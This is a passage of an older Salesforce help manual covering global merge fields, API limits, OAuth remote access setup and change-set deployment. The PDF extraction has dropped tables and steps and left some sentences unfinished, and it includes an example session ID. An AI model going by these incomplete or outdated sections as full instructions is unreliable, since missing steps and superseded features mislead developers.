sforce.connection.update(newRecords);
window.location.reload();
}
Validation Rule Example: This example checks that a billing postal code is valid by
looking up the first five characters of the value in a custom
object called Zip_Code__c that contains a record for every
valid zip code in the US. If the zip code is not found in the
Zip_Code__c object or the billing state does not match the
corresponding State_Code__c in the Zip_Code__c object, an
error is displayed.
AND(
LEN(BillingPostalCode) > 0,
OR(BillingCountry = "USA",
BillingCountry = "US"),
VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState
)
Visualforce Example: The following example retrieves the label for the account
namefield:
{!$ObjectType.account.fields.name.label}
$Organization
Description: A global merge field type to use when referencing information
about your company profile. Use organization merge fields to
reference your organization's city, fax, ID, or other details.
Use:
1. Select the field type: $Organization.
2. Select a merge field such as $Organization.Fax.
Validation Rule Example: Use organization merge fields to compare any attribute for
your organization with that of your accounts. For example,
1642
Develop Defining Custom S-Controls
Tips: The organization merge fields get their values from whatever
values are currently stored as part of your company information
in Salesforce.com.
$Page
Description: A global merge field type to use when referencing a Visualforce
page.
Use: Use this expression in a Visualforce page to access another
Visualforce page.
Visualforce Example: <apex:page>
<h1>Linked</h1>
<a href="{!$Page.otherPage}">This is a
link to another page</a>
</apex:page>
$Profile
Description: A global merge field type to use when referencing information
about the current user's profile. Use profile merge fields to
reference information about the user's profile such as license
type or name.
Use:
1. Select the field type: $Profile.
2. Select a merge field such as $Profile.Name.
Validation Rule Example: The validation rule formula below references the profile name
of the current user to ensure that only the record owner or
1643
Develop Defining Custom S-Controls
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)
Visualforce Example: To return the current user's profile, use the following:
{$Profile.Name}
1644
Develop Defining Custom S-Controls
$RecordType
Description: A global merge field to use when referencing a record type.
Use: Add $RecordType manually to your s-control.
Visualforce Example: To return the ID of the current record type, use the following:
{$RecordType.Id}
$Request
Description: A global merge field to use when referencing a query parameter
by name that returns a value.
Use: Add $Request manually to your s-control.
S-Control Example: The snippet below, named Title_Snippet, requires two
input parameters: titleTheme and titleText. You can
reuse it in many s-controls to provide page title and theme in
your HTML.
<h2 class=”{!$Request.titleTheme}.title”>
{!$Request.titleText}</h2>
<html>
<head>
</head>
<body>
{! INCLUDE($SControl.Title_Snippet,
[titleTheme = "modern", titleText = "My
Sample Title"]) }
</body>
</html>
1645
Develop Defining Custom S-Controls
$Resource
Description: A global merge field type to use when referencing an existing
static resource by name in a Visualforce page. You can also
use resource merge fields in URLFOR functions to reference
a particular file in a static resource archive.
Use: Use $Resource to reference an existing static resource. The
format is $Resource.nameOfResource, such as
$Resource.TestImage.
<apex:image url="{!$Resource.TestImage}"
width="50" height="50" />
<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50"
height="50" />
$SControl
Important: S-controls have been superseded by Visualforce pages. After March 2010 organizations that have never
created s-controls, as well as new organizations, won't be allowed to create them. Existing s-controls will remain
unaffected, and can still be edited.
<html>
<body>
{! INCLUDE($SControl.Header_Snippet,
[title = "My Title", theme = "modern"])}
1646
Develop Defining Custom S-Controls
</body>
</html>
<apex:page>
<apex:outputLink
value="{!$SControl.HelloWorld}">Open the
HelloWorld s-control</apex:outputLink>
</apex:page>
<apex:page>
<apex:scontrol controlName="HelloWorld" />
</apex:page>
Tips: • The drop-down list for Insert Merge Field lists all
your custom s-controls except snippets. Although snippets
are s-controls, they behave differently. For example, you
cannot reference a snippet from a URLFOR function
directly; snippets are not available when creating a custom
button or link that has a Content Source of Custom
S-Control; and you cannot add snippets to your page
layouts. To insert a snippet in your s-control, use the
Insert Snippet drop-down button.
• This global variable is only available for custom buttons
and links, s-controls, and Visualforce pages.
$Site
Description: A global merge field type to use when referencing information about the current Force.com site.
Use:
Use dot notation to access information about the current Force.com site. Note that only the following
site fields are available:
1647
Develop Defining Custom S-Controls
Visualforce Example: The following example shows how to use the $Site.Template merge field:
1648
Develop Defining Custom S-Controls
<br/>
</apex:form>
</apex:define>
</apex:composition>
</apex:page>
Tips: This global variable is available in Visualforce pages, email templates, and s-controls.
$System.OriginDateTime
Description: A global merge field that represents the literal value of
1900-01-01 00:00:00. Use this global variable when
performing date/time offset calculations or to assign a literal
value to a date/time field.
Use:
1. Select the field type: $System.
2. Select OriginDateTime from the Insert Merge
Field option.
Formula Example: The example below illustrates how to convert a date field into
a date/time field. It uses the date in the OriginDateTime
merge field to get the number of days since a custom field
called My Date Field. Then, it adds the number of days to
the OriginDateTime value.
$System.OriginDatetime + ( My_Date_Field__c
- DATEVALUE($System.OriginDatetime) )
Visualforce Example: The following example calculates the number of days that have
passed since 1900:
{!NOW() - $System.OriginDateTime}
$User
Description: A global merge field type to use when referencing information
about the current user. User merge fields can reference
information about the user such as alias, title, and ID.
Use:
1. Select the field type: $User.
2. Select a merge field such as $User.Username.
1649
Develop Defining Custom S-Controls
Validation Rule Example: The validation rule formula below references the ID of the
current user to determine if the current user is the owner of
the record. Use an example like this to ensure that only the
record owner or users with an administrator profile can make
changes to a custom field called Personal Goal:
AND(
ISCHANGED( Personal_Goal__c ),
Owner <> $User.Id,
$Profile.Name <> "Custom: System Admin"
)
Visualforce Example: The following example displays the current user's company
name, as well as the status of the current user (which returns
a Boolean value).
<apex:page>
<h1>Congratulations</h1>
This is your new Apex Page
<p>The current company name for this
user is: {!$User.CompanyName}</p>
<p>Is the user active?
{!$User.isActive}</p>
</apex:page>
Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
• Some of the $User merge fields can be used in mobile
configuration filters. For more information, see Merge
Fields for Mobile Filter Criteria on page 747.
1650
Develop Defining Custom S-Controls
Visualforce Example: The following example shows how you can render different
layouts based on a user's theme:
<apex:page>
<apex:pageBlock title="My Content"
rendered="{!$User.UITheme == 'Theme2'}">
// this is the old theme...
</apex:pageBlock>
$UserRole
Description: A global merge field type to use when referencing information
about the current user's role. Role merge fields can reference
information such as role name, description, and ID.
Use:
1. Select the field type: $UserRole.
2. Select a merge field such as $UserRole.Name.
Validation Rule Example: The validation rule formula below references the user role
name to validate that a custom field called Discount
Percent does not exceed the maximum value allowed for
that role:
Discount_Percent__c >
VLOOKUP($ObjectType.Role_Limits__c.Fields.Limit__c,
$ObjectType.Role_Limits__c.Fields.Name,
$UserRole.Name)
1651
Develop Defining Custom S-Controls
Tips: • The current user is the person changing the record that
prompted the default value, validation rule, or other
operation that uses these global merge fields.
• When a Web-to-Case or Web-to-Lead process changed
a record, the current user is the Default Lead Owner
or Default Case Owner.
• When a workflow field update changes a record, the user
is the Default Workflow User.
Note: You cannot use the following $UserRole
values in Visualforce:
• CaseAccessForAccountOwner
• ContactAccessForAccountOwner
• OpportunityAccessForAccountOwner
• PortalType
See Also:
Defining Custom S-Controls
Useful S-Controls
Tips on Building S-Controls
Documentation Resources for Force.com Developers
The following table lists the actions you can reference with the $Action global variable and the objects on which you can
perform those actions. The values available in your organization may differ depending on the features you enable.
1652
Develop Defining Custom S-Controls
• Google campaign
• Keyword
• Lead
• Search phrase
• SFGA version
• Text ad
1653
Develop Defining Custom S-Controls
1654
Develop Defining Custom S-Controls
• SFGA version
• Solution
• Task
• Text ad
1655
Develop Defining Custom S-Controls
1656
Develop Defining Custom S-Controls
• Asset
• Campaign
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Search phrase
• SFGA version
• Solution
• Task
• Text ad
1657
Develop Defining Custom S-Controls
• Ad group
• Asset
• Campaign
• Campaign member
• Case
• Contact
• Contract
• Event
• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase
• SFGA version
• Solution
• Task
• Text ad
1658
Develop Force.com API Usage Limits
• Google campaign
• Keyword
• Lead
• Opportunity
• Opportunity product
• Product
• Search phrase
• SFGA version
• Solution
• Text ad
See Also:
Understanding Global Variables
To maintain optimum performance and ensure that the Force.com API is available to all of our customers, salesforce.com
balances transaction loads by imposing two types of limits:
1659
Develop Force.com API Usage Limits
Limits are enforced against the aggregate of all API calls made by the organization in a 24 hour period; limits are not on a
per-user basis. When an organization exceeds a limit, all users in the organization may be temporarily blocked from making
additional calls. Calls will be blocked until usage for the preceding 24 hours drops below the limit.
1660
Develop Force.com API Usage Limits
In the Salesforce.com application, administrators can view how many API requests have been issued in the last 24 hours on
the Company Information page at Setup ➤ Company Profile ➤ Company Information. Administrators can also view a
more detailed report of API usage over the last seven days by navigating to the Reports tab, selecting the Administrative
Reports folder and clicking the API Usage Last 7 days report.
Note: Limits are automatically enforced for all editions.
Any action that sends a call to the API counts toward usage limits, except the following:
• Outbound messages
• Apex callouts
You can configure your organization so that email is sent to a designated user when the number of API requests has exceeded
a specified percentage of the limit. For more information, see About API Usage Notifications on page 705.
See Also:
Monitoring Resources
Salesforce.com Editions and Limits
Documentation Resources for Force.com Developers
Viewing User License Types
1661
Develop Documentation Resources for Force.com Developers
See Also:
Using the Help & Training Window
Salesforce.com supports the OAuth protocol for authenticating Web applications that access data in a Salesforce.com instance.
OAuth is an open protocol that allows secure authentication and is often described as the valet key of software access. A valet
key only allows access to certain features of your car: you cannot open the trunk or glove compartment using a valet key.
Similarly, OAuth limits access to a software application, without having to hand out the user's username and password.
Note: Salesforce.com currently supports OAuth version 1.0.A.
For more information on the OAuth standard, see the OAuth.net documentation.
A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application.
Tip: OAuth does not automatically limit access to a user's Salesforce.com data. Limits to data access are either specified
by the user's profile or by the package access controls of a remote access application that is included in a managed
package.
For more information on terminology, see Remote Access Applications and OAuth Terminology on page 1663.
The following is the general flow for using a remote access application with Salesforce.com:
1662
Develop Remote Access Application Overview
1. A developer uses the remote access pages in Salesforce.com (Setup ➤ Develop ➤ Remote Access) to define a remote
access application.
In this example, the remote access application is a Google gadget, which uses data that already exists in Salesforce.com.
2. The developer uses the generated consumer secret and key from the remote access application detail page and develops
the Google gadget using the consumer secret and key and the OAuth library.
3. A user starts to use the Google gadget application.
4. The user performs an action with the Google gadget that requires access to Salesforce.com data.
5. The user is presented with a login to Salesforce.com.
6. The Remote Access Authorization page displays. It verifies if the user wants to grant the remote access application, that
is, the Google gadget, access to the user's Salesforce.com data.
7. If the user approves access, the approval page displays. The approval page may contain a verification code that the user
must enter in the Google gadget application.
8. If the user denies access, the user is prompted to log out of Salesforce.com.
9. After a user has granted access to a remote access application, he or she can revoke that access by clicking Setup ➤ My
Personal Information ➤ Personal Information and clicking Deny next to the name of the application in the Remote
Access related list.
Note: Users can authorize a remote access application to access their Salesforce.com more than once, for example,
for both a laptop and a desktop computer. The default limit is five per application per user. If a user tries to grant
access to an application more than organization limit, the access token for that application that hasn't been used for
the longest period of time is revoked.
See Also:
Remote Access Applications and OAuth Terminology
Defining Remote Access Applications
Authenticating Remote Access Application OAuth
Packaging Remote Access Applications
Managing Remote Access Applications
Installing a Package
AccessToken
A value used by the consumer to gain access to protected resources on behalf of the user, instead of using the user’s
Salesforce.com credentials.
1663
Develop Defining Remote Access Applications
Consumer
A website or application that uses OAuth to authenticate both the Salesforce.com user as well as the application on the
user's behalf.
Consumer Key
A value used by the consumer to identify itself to Salesforce.com.
Consumer Secret
A secret used by the consumer to establish ownership of the consumer key.
Nonce
A number, often a random number, used during authentication to ensure that requests cannot be reused.
RequestToken
A value used by the consumer to obtain authorization from the user, and exchanged for an AccessToken.
Service Provider
A Web application that allows access using OAuth. This is your Salesforce.com instance after remote access has been
enabled.
TokenSecret
A secret used by the consumer to establish ownership of a given token, both for RequestTokens and AccessTokens.
User
An individual who has a Salesforce.com login.
See Also:
Remote Access Application Overview
Use the remote access pages to define remote access applications that can access a Salesforce.com instance.
To define a remote access application:
1. Click Setup ➤ Develop ➤ Remote Access, and click New. Alternatively, click Setup ➤ Create ➤ Packages, click the
name of the managed package, then click New in the Remote Access section.
1664
Develop Defining Remote Access Applications
Important: Once you add a remote access application to a package, you cannot remove it from the package. The
only way to remove a remote access application from a package is to delete it from your organization.
A remote access application in an unmanaged package can only be used in the organization in which it was created.
Only remote access applications in managed packages can be used across organizations.
2. Specify the name of the application. This is required. Salesforce.com recommends that this name match the name of the
actual application.
3. Specify the Callback URL, which is the URL that the user should be returned to after they approve access for the application.
If Callback URL is defined, the oauth_callback parameter must be set to the oob when trying to get the request token.
This URL uses https or another protocol. It cannot use http.
4. If the application has a specific logo, you can specify that using the Logo Image URL. The URL must be secure (uses
https).
5. If appropriate, specify the Contact Phone and Contact Email.
6. Enter a description of the application. When a user grants access to an application, this description displays.
7. If you used Setup ➤ Develop ➤ Remote Access to create this remote access application, you can select a managed package
to include this remote access application in.
Important: If you create a remote access application and do not include it in a managed package, you can never
add it later.
8. Click Save.
When you save the remote access definition, the consumer key and consumer secret are automatically generated. The consumer
key and consumer secret are available globally in all Salesforce.com instances.
Note: After you save a remote access definition, it may take a few minutes before it become available.
The consumer should store the consumer key and consumer secret in their application. The keys are used in authenticating a
user using the remote access application.
Note: Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
See Also:
Remote Access Application Overview
Viewing Remote Access Application Details
Remote Access Applications and OAuth Terminology
1665
Develop Deleting Remote Access Applications
When defining a remote access application, take the following into consideration when packaging remote access applications:
• Once you add a remote access application to a package, you cannot remove it from the package. The only way to remove
a remote access application from a package is to delete it from your organization.
• When you delete a remote access application contained in a managed package, access to that remote access application is
immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new
version of the managed package is released.
• Even if you change the name of the application, the consumer key and consumer secret are not regenerated.
• When a remote access application is in a managed packaged, only subscriber organizations can use the generated consumer
key. If a remote access application is not contained in a package, any organization or user can use the key.
• If you create a new version of a managed package that contains a remote access application, the existing remote access
applications will still work with the newest version.
• A remote access application in an unmanaged package can only be used in the organization in which it was created. Only
remote access applications in managed packages can be used across organizations.
See Also:
Remote Access Application Overview
Defining Remote Access Applications
When you delete a remote access application contained in a managed package, access to that remote access application is
immediately removed from all subscribing organizations. The subscribing organizations do not have to wait until a new version
of the managed package is released. Do not delete remote access applications unless you are certain this is the correct behavior.
1666
Develop Viewing Remote Access Application Details
Click Delete to delete the remote access application. Click Cancel to go back to the previous page.
See Also:
Remote Access Application Overview
Defining Remote Access Applications
Packaging Remote Access Applications
Use the remote access pages to specify remote access applications that can access a Salesforce.com instance.
To view the details for a defined application, click Setup ➤ Develop ➤ Remote Access, and click the name of the application.
From this page you can do any of the following:
See Also:
Remote Access Application Overview
Defining Remote Access Applications
1667
Develop Authenticating Remote Access Application OAuth
1668
Develop Authenticating Remote Access Application OAuth
1. The consumer requests a RequestToken. Salesforce.com verifies the request and returns a request token.
2. The consumer should redirect the user to Salesforce.com, where they are prompted to log in.
3. Salesforce.com authorizes the user.
4. Once the user is authorized, the consumer requests an AccessToken.
5. Salesforce.com verifies the request and grants the token.
6. After the token is granted, the consumer accesses the data either through their application or through the Force.com Web
services API.
7. Salesforce.com verifies the request and allows access to the data.
The following sections go into more details about each of these steps.
Tip: To use a remote access application with a Force.com Sandbox, use test.salesforce.com instead of
login.salesforce.com in the following sections.
For the list of possible error codes returned by Salesforce.com, see Remote Access Application OAuth Error Codes
on page 1672.
Requesting a RequestToken
When a consumer makes an initial request to Salesforce.com, a RequestToken is returned if the request is valid. The following
steps contain more detail for the developer who is using a remote access application to request Salesforce.com data.
1. A consumer application needs to access Salesforce.com data and sends a request to
https://login.salesforce.com/_nc_external/system/security/oauth/RequestTokenHandler. The
request contains the following:
• A valid request for a RequestToken, which contains the following OAuth parameters:
- oauth_consumer_key
- oauth_signature_method—must be HMAC-SHA1.
- oauth_signature
- oauth_timestamp
- oauth_nonce
- oauth_version—optional, must be “1.0” if included
- oauth_callback—must be one of the following:
1669
Develop Authenticating Remote Access Application OAuth
4. Salesforce.com verifies the callback URL (either specified in the remote access application definition pages or in the
oauth_callback parameter from the previous stage). If the specified URL can accept a verifier token value, one of the
following occurs:
• If the oauth_callback defined in the RequestToken is oob and the Callback URL field in the remote access
application definition page has a valid value, the user is redirected to that URL.
• If the oauth_callback defined in the RequestToken is a valid URL, the user is redirected to that URL.
If the callback URL cannot accept the verifier token, the user is presented with a validation code that must be entered into
the consumer application.
5. The consumer is notified that the AccessToken and AccessTokenSecret are available either by receiving the verification
token from Salesforce.com or the validation code from the end user.
1670
Develop Authenticating Remote Access Application OAuth
3. Upon validation, Salesforce.com returns the AccessToken and AccessTokenSecret in the HTTP response body as name/value
pairs.
- u—Partner WSDL
- c—Enterprise WSDL
2. Salesforce.com validates the request and sends a valid session ID to the consumer.
1671
Develop Authenticating Remote Access Application OAuth
The following contains more detailed steps regarding accessing data for developers who are using a remote access application
to request Salesforce.com data.
1. The consumer makes an HTTPS POST request to Salesforce.com.
• The URL must have the following format:
https://login.salesforce.com/services/OAuth/type/api-version
type must have one of the following values:
- u—Partner WSDL
- c—Enterprise WSDL
2. Salesforce.com validates the request and sends a valid session ID to the consumer. The response header includes the
following:
<response>
<metadataServerUrl>https://na1-api.salesforce.com/services/Soap/m/17.0/00D300000006qjK
</metadataServerUrl>
<sandbox>false</sandbox>
<serverUrl>https://na1-api.salesforce.com/services/Soap/u/17.0/00D300000006qjK
</serverUrl>
<sessionId>00D300000006qrN!AQoAQJTMzwTa67tGgQck1ng_xgMSuWVBpFwZ1xUq2kLjMYg6Zq
GTS8Ezu_C3w0pdT1DMyHiJgB6fbhhEPxKjGqlYnlROIUs1</sessionId>
</response>
See Also:
Remote Access Application Overview
Remote Access Applications and OAuth Terminology
Remote Access Application OAuth Error Codes
Defining Remote Access Applications
1672
Develop Authenticating Remote Access Application OAuth
1712 Failed: Get Access Token Limit Exceeded Can only attempt to exchange a RequestToken for an
AccessToken three times.
1713 Failed: Consumer Deleted The remote access application has been deleted from
the Salesforce.com organization.
1716 Failed: OAuth Api Access Disabled Either the Force.com Web services API is not enabled
for the organization, or OAuth API access has been
disabled for the organization.
See Also:
Remote Access Application Overview
Authenticating Remote Access Application OAuth
1673
Develop Remote Access Application Request
The external application you are using is requesting access to your Salesforce.com data. The external application has already
been integrated into Salesforce.com by your administrator.
To grant this application access to your Salesforce.com data, click Accept.
If the description of the application does not match the application you are currently using or for any other reason you do not
want to grant access to your data, click Deny.
You can only grant access to an external application a specific number of times. Generally, you grant access for every device
you use, such as a laptop and a desktop computer. The default is five per application. If you've reached the limit for your
organization, granting access to this application automatically revokes access to the token or tokens for this application that
haven't been used for the longest period of time. The remote access application token or tokens that will be revoked display
on the page.
After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.
See Also:
Remote Access Application Overview
The external application you are using has requested access to your Salesforce.com data, and you approved this request. Close
the browser window and go back to the application you were using.
1674
Develop Managing Remote Access Applications
After you have granted access to a remote access application, you can revoke it later by clicking Setup ➤ My Personal
Information ➤ Personal Information, then in the Remote Access related section, click Revoke.
See Also:
Remote Access Application Overview
Remote Access Application Request
The external application you are using has requested access to your Salesforce.com data and you denied this access. You should
log out of Salesforce.com. You can go back to the originating application.
See Also:
Remote Access Application Overview
Remote Access Application Request
A remote access application is an application external to Salesforce.com that uses the OAuth protocol to verify both the
Salesforce.com user and the external application. All remote access applications have been integrated with Salesforce.com,
such that they can access a subset of your Salesforce.com data once you explicitly grant each application permission.
All remote access applications that have permission to access your Salesforce.com data are listed in your personal information.
Click Setup ➤ My Personal Information ➤ Personal Information, and go to the Remote Access section. From there you
can do the following:
• View information about each remote access application that you have granted access to, as well as the number of times and
the last time the application attempted to access your information.
1675
Deploy Deployment Overview
Note:
- An application may be listed more than once. Each time you grant access to an application, it obtains a new
access token. You must grant access to your Salesforce.com data from each device that you use, for example,
from both a laptop and a desktop computer. The default limit is five access tokens for each application.
- Even if the remote access application tried and failed to access your information because it could not login, the
Use Count and Last Used fields are still updated.
• Click Revoke to revoke the remote access application. After you revoke the application, the application can no longer use
that particular remote access authorization token to access your Salesforce.com data.
Important: You must revoke all access tokens for a particular application to prevent it from accessing your
Salesforce.com data.
See Also:
Remote Access Application Overview
DEPLOY
Deployment Overview
User Permissions Needed
To edit deployment connections: “Deploy Change Sets”
To use outbound change sets:
“Create and Upload Change Sets,”
“Create AppExchange Packages,”
AND
“Upload AppExchange Packages”
Click Setup ➤ Deploy to access tools used for migrating metadata changes between organizations.
Deployment Connections
In order to use the change sets feature, a deployment connection is required. You can specify connection permissions
for both outbound and inbound change sets on the Deployment Connections page.
1676
Deploy Change Sets Overview
Monitor Deployments
Monitor the progress of deployments made through the Metadata API.
Note: Configuration changes deployed using change sets do not appear on the Monitor Deployments page.
See Also:
Change Sets Overview
Monitoring Metadata Deployments
CHANGESETS
A change set is a means by which one organization can send customizations to another organization. For example, you could
create a new object in a sandbox organization and send it to your production organization using a change set. Change sets can
only contain modifications you can make through the Setup menu; therefore, you can't use a change set to upload a list of
contact records. In other words, change sets contain metadata, not data.
When you want to send customizations from your current organization to another organization, you create an outbound change
set. Once you send the change set, the receiving organization sees it as an inbound change set.
1677
Deploy Components Available in Change Sets
Sending a change set between two organizations requires a deployment connection. Currently, change sets can only be sent
between organizations that are affiliated with a production organization, for example, a production organization and a sandbox,
or two sandboxes created from the same organization.
See Also:
Components Available in Change Sets
Deployment Connections
Outbound Change Sets
Inbound Change Sets
Implementation Tips
Best Practices
• Apex class
• Apex trigger
• Analytic snapshot
• Custom application
• Custom object
• Custom object translation
• Custom field
• Custom label
• Custom page Web link
• Custom site
• Custom tab
• Dashboard
• Document
• Email template
• Folder
• Home page component
• Home page layout
• Page layout
• Letterhead
• Portal
• Record type
• Report
• Report type
• S-control
• Static resource
• Translation Workbench
1678
Deploy Deployment Connections
• Validation rule
• Visualforce component
• Visualforce page
• Web link
• Workflow
Note: If you create or modify components that are not available in the Metadata API, you can't send those components
from one organization to another in a change set. In this case, migrate the changes manually by repeating the steps
you performed when you created or modified the component.
See Also:
Force.com Metadata API Developer's Guide
Change Sets Overview
Deployment Connections
User Permissions Needed
To edit deployment connections: “Deploy Change Sets”
In order for change sets to be sent from one organization to another, a deployment connection is required between the
organizations. Deployment connections can't be created between arbitrary organizations; instead, a deployment connection
is created between all organizations affiliated with a production organization. For example, if you have a production organization
(Prod) and two sandboxes (Dev and Test), a deployment connection is created between production and each sandbox (Prod
and Dev, and another connection between Prod and Test), as well as between the sandboxes (Dev and Test).
A deployment connection alone doesn't enable change sets to be sent between organizations. Each organization must be
authorized to send and receive change sets. This added level of security enforces code promotion paths and keeps organizations'
setup metadata from being overwritten by mistake.
For example, the following figure illustrates one possible migration path for a production organization and two sandboxes. In
this example, the production organization can only receive changes that have been fully tested, so only the Test sandbox is
authorized to upload change sets to production. In order to synchronize development projects with the production organization,
the Prod organization can send change sets to the Dev sandbox, but not to the Test sandbox. Finally, because the features in
development need iterative testing, Dev and Test sandboxes should be able to send change sets back and forth.
1679
Deploy Viewing Available Deployment Connections
Note: This illustration describes one possible code migration path. Your department must create its own policies for
organizations to send and receive change sets to one another.
See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview
Name
A list of organizations that have deployment connections to the organization you are currently logged into. Click the
name of an organization to view more information about the connection.
Description
A brief description of the connected organizations.
Type
The type of organization you are connected to. Possible values are Production, Full Copy Sandbox, Configuration-only
Sandbox, and Developer Sandbox.
1680
Deploy Viewing Details of a Deployment Connection
See Also:
Viewing Details of a Deployment Connection
Authorizing a Deployment Connection
Change Sets Overview
Name
The name of the selected organization. This is not the organization you are logged into.
Description
A brief description of the organization.
Type
The type of organization you are connected to. Possible values are Production, Full Copy, Configuration-only, and
Developer.
See Also:
Viewing Available Deployment Connections
Authorizing a Deployment Connection
Change Sets Overview
1681
Deploy Authorizing a Deployment Connection
See Also:
Viewing Available Deployment Connections
Viewing Details of a Deployment Connection
Change Sets Overview
An outbound change set is a change set created in the organization you are logged into and that you want to send to another
organization. Typically, an outbound change set is used for customizations created and tested in a sandbox and then sent to
a production organization.
Sending an outbound change set to another organization doesn't guarantee that the changes will be implemented in that
organization. The change set must deployed (accepted) by the target organization before the changes take effect.
1682
Deploy Outbound Change Sets
Note: Change sets are limited to 2,500 components and a total file size of 400 MB.
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
1683
Deploy Selecting Components for an Outbound Change Set
3. Click Clone.
See Also:
Outbound Change Sets
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
1684
Deploy Viewing and Adding Dependent Components to a Change Set
4. Click Upload.
Note: Outbound change sets expire six months after upload, at which time the change set is permanently deleted.
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Outbound Change Set Validation Errors
Deleting an Outbound Change Set
Change Sets Overview
1685
Deploy Deleting an Outbound Change Set
because organizations may be upgraded at different times. If you receive this error, you can only deploy those components that
have are compatible between versions.
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Deleting an Outbound Change Set
Change Sets Overview
See Also:
Outbound Change Sets
Cloning an Outbound Change Set
Selecting Components for an Outbound Change Set
Uploading an Outbound Change Set
Viewing and Adding Dependent Components to a Change Set
Outbound Change Set Validation Errors
Change Sets Overview
1686
Deploy Inbound Change Sets
An inbound change set is a change set that has been sent from another organization to the organization you are logged into. A
change sent must be deployed for the changes to take effect. You can deploy or reject the contents of an inbound change set as
a whole, but not on a component-by-component basis.
See Also:
Viewing Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview
See Also:
Inbound Change Sets
Viewing Change Set Details
Deploying a Change Set
Change Sets Overview
1687
Deploy Deploying a Change Set
See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Deploying a Change Set
Change Sets Overview
A change set is deployed in a single transaction. If the deployment is unable to complete for any reason, the entire transaction
is rolled back. After a deployment completes successfully, all changes are committed to your organization and the change set
cannot be rolled back.
Note: The Force.com platform requires at least 75% of your code to be covered by unit tests before you can deploy it
to a production organization. Ideally, you should strive for 100% coverage. The code coverage restriction is not enforced
for sandbox or Developer Edition organizations.
See Also:
Inbound Change Sets
Viewing Inbound Change Sets
Viewing Change Set Details
Change Sets Overview
Implementation Tips
Permissions required to use change sets
To send a change set to another organization, a user must have “Create and Upload Change Sets,” “Create AppExchange
Packages,” and “Upload AppExchange Packages” profile permissions.
To deploy a change set received from another organization, a user must have the “Deploy Change Sets” profile permission.
1688
Deploy Best Practices
See Also:
Best Practices
Change Sets Overview
Best Practices
Change sets are available as a beta feature. During the beta period, functionality may change at any time in order to fix bugs,
remove limitations, or improve the feature in other ways. The following list contains best practices.
Deploy all dependent components
Make sure each change set contains all interdependent components that don't exist in the target organization. If you try
to deploy a component that refers to another component missing from the target organization and from the change set,
the deployment fails.
Change sets give you fine-grained control over what you deploy. For example, you can migrate custom fields individually.
To deploy a custom object and all of its fields, you must add the custom object and every field to the change set; adding
just the custom object to the change set won't cause deployment to fail, but results in an empty custom object.
1689
Deploy Monitoring Metadata Deployments